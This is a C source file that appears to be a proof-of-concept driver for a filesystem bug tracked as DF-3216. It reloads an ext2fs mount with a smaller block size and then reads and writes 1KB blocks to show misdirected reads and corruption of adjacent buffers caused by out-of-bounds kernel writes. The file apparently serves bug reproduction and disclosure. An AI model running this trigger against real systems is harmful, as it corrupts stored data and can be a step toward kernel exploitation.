/*
 * trigger.c - DF-3216 PoC driver (guest).
 *
 * Subcommands:
 *   trigger reload <mnt>        mount(2) MNT_UPDATE|MNT_RELOAD + statfs(2)
 *                               (statfs refreshes mp->mnt_stat.f_iosize to the
 *                               NEW 1024 block size -> readindir buffers shrink)
 *   trigger read <file> <lbn> <n>
 *                               pread n 1KB blocks starting at lbn, report the
 *                               'BLK%08d' marker claimed by each returned block
 *                               and I/O errors (misdirection = wrong marker)
 *   trigger write <file>        create <file>, pwrite 0xAA at every 1KB block
 *                               lbn 268..1023, fsync, read back and report any
 *                               block whose content is not 0xAA (adjacent-buffer
 *                               corruption caused by bap[in_off] OOB writes)
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

struct ext2_args_min {
	char *fspec;
	char exportpad[128];
};

static int
do_reload(const char *mnt)
{
	struct ext2_args_min args;
	struct statfs st;
	int rv;

	memset(&args, 0, sizeof(args));
	rv = mount("ext2fs", mnt, MNT_UPDATE | MNT_RELOAD, &args);
	printf("mount(MNT_UPDATE|MNT_RELOAD) rc=%d errno=%d (%s)\n",
	    rv, errno, strerror(errno));
	if (rv != 0)
		return (1);
	/* refresh mp->mnt_stat.f_iosize to the new 1024 bsize */
	rv = statfs(mnt, &st);
	printf("statfs rc=%d f_iosize=%ld f_bsize=%ld\n",
	    rv, (long)st.f_iosize, (long)st.f_bsize);
	return (0);
}

static int
do_read(const char *file, int lbn0, int n)
{
	char buf[1024];
	int fd, i, bad = 0;

	fd = open(file, O_RDONLY);
	if (fd < 0) { perror("open"); return (1); }
	for (i = 0; i < n; i++) {
		ssize_t r = pread(fd, buf, sizeof(buf), (off_t)(lbn0 + i) * 1024);
		if (r < 0) {
			printf("lbn %5d: pread: %s\n", lbn0 + i, strerror(errno));
			bad++;
			continue;
		}
		if (r != 1024) {
			printf("lbn %5d: short read %zd\n", lbn0 + i, r);
			bad++;
			continue;
		}
		printf("lbn %5d: marker=%.11s%s\n", lbn0 + i, buf,
		    strncmp(buf, "BLK", 3) == 0 ? "" : "  <== NOT-A-MARKER");
		if (strncmp(buf, "BLK", 3) != 0)
			bad++;
		else {
			int claimed = atoi(buf + 3);
			if (claimed != lbn0 + i) {
				printf("           claimed lbn %d != requested %d  <== MISDIRECTED\n",
				    claimed, lbn0 + i);
				bad++;
			}
		}
	}
	close(fd);
	printf("READ-DEMO: %d/%d blocks bad\n", bad, n);
	return (bad != 0);
}

static int
do_write(const char *file)
{
	char buf[1024], pat[1024];
	int fd, lbn, i, bad = 0, errs = 0;

	memset(pat, 0xaa, sizeof(pat));
	fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return (1); }

	for (lbn = 268; lbn <= 1023; lbn++) {
		ssize_t w = pwrite(fd, pat, sizeof(pat), (off_t)lbn * 1024);
		if (w != sizeof(pat)) {
			if (errs++ < 4)
				printf("lbn %5d: pwrite: %s\n", lbn,
				    w < 0 ? strerror(errno) : "short");
		}
	}
	printf("pwrite pass done (write errors: %d)\n", errs);
	fsync(fd);

	for (lbn = 268; lbn <= 1023; lbn++) {
		ssize_t r = pread(fd, buf, sizeof(buf), (off_t)lbn * 1024);
		if (r != sizeof(pat)) {
			if (errs++ < 8)
				printf("lbn %5d: readback %zd (%s)\n", lbn, r,
				    r < 0 ? strerror(errno) : "short");
			bad++;
			continue;
		}
		if (memcmp(buf, pat, sizeof(pat)) != 0) {
			int off = -1;
			for (i = 0; i < 1024; i++)
				if (buf[i] != 0xaa) { off = i; break; }
			printf("lbn %5d: READBACK-CORRUPT first-diff @+%d: "
			    "%02x %02x %02x %02x %02x %02x %02x %02x\n",
			    lbn, off,
			    buf[off+0], buf[off+1], buf[off+2], buf[off+3],
			    buf[off+4], buf[off+5], buf[off+6], buf[off+7]);
			bad++;
		}
	}
	close(fd);
	printf("WRITE-DEMO: %d/%d blocks corrupted on readback\n",
	    bad, 1023 - 268 + 1);
	return (bad != 0);
}

int
main(int argc, char **argv)
{
	if (argc < 3) {
		fprintf(stderr, "usage: %s reload <mnt> | read <file> <lbn> <n> | write <file>\n", argv[0]);
		return (2);
	}
	if (strcmp(argv[1], "reload") == 0)
		return (do_reload(argv[2]));
	if (strcmp(argv[1], "read") == 0)
		return (do_read(argv[2], atoi(argv[3]), atoi(argv[4])));
	if (strcmp(argv[1], "write") == 0)
		return (do_write(argv[2]));
	fprintf(stderr, "bad op\n");
	return (2);
}
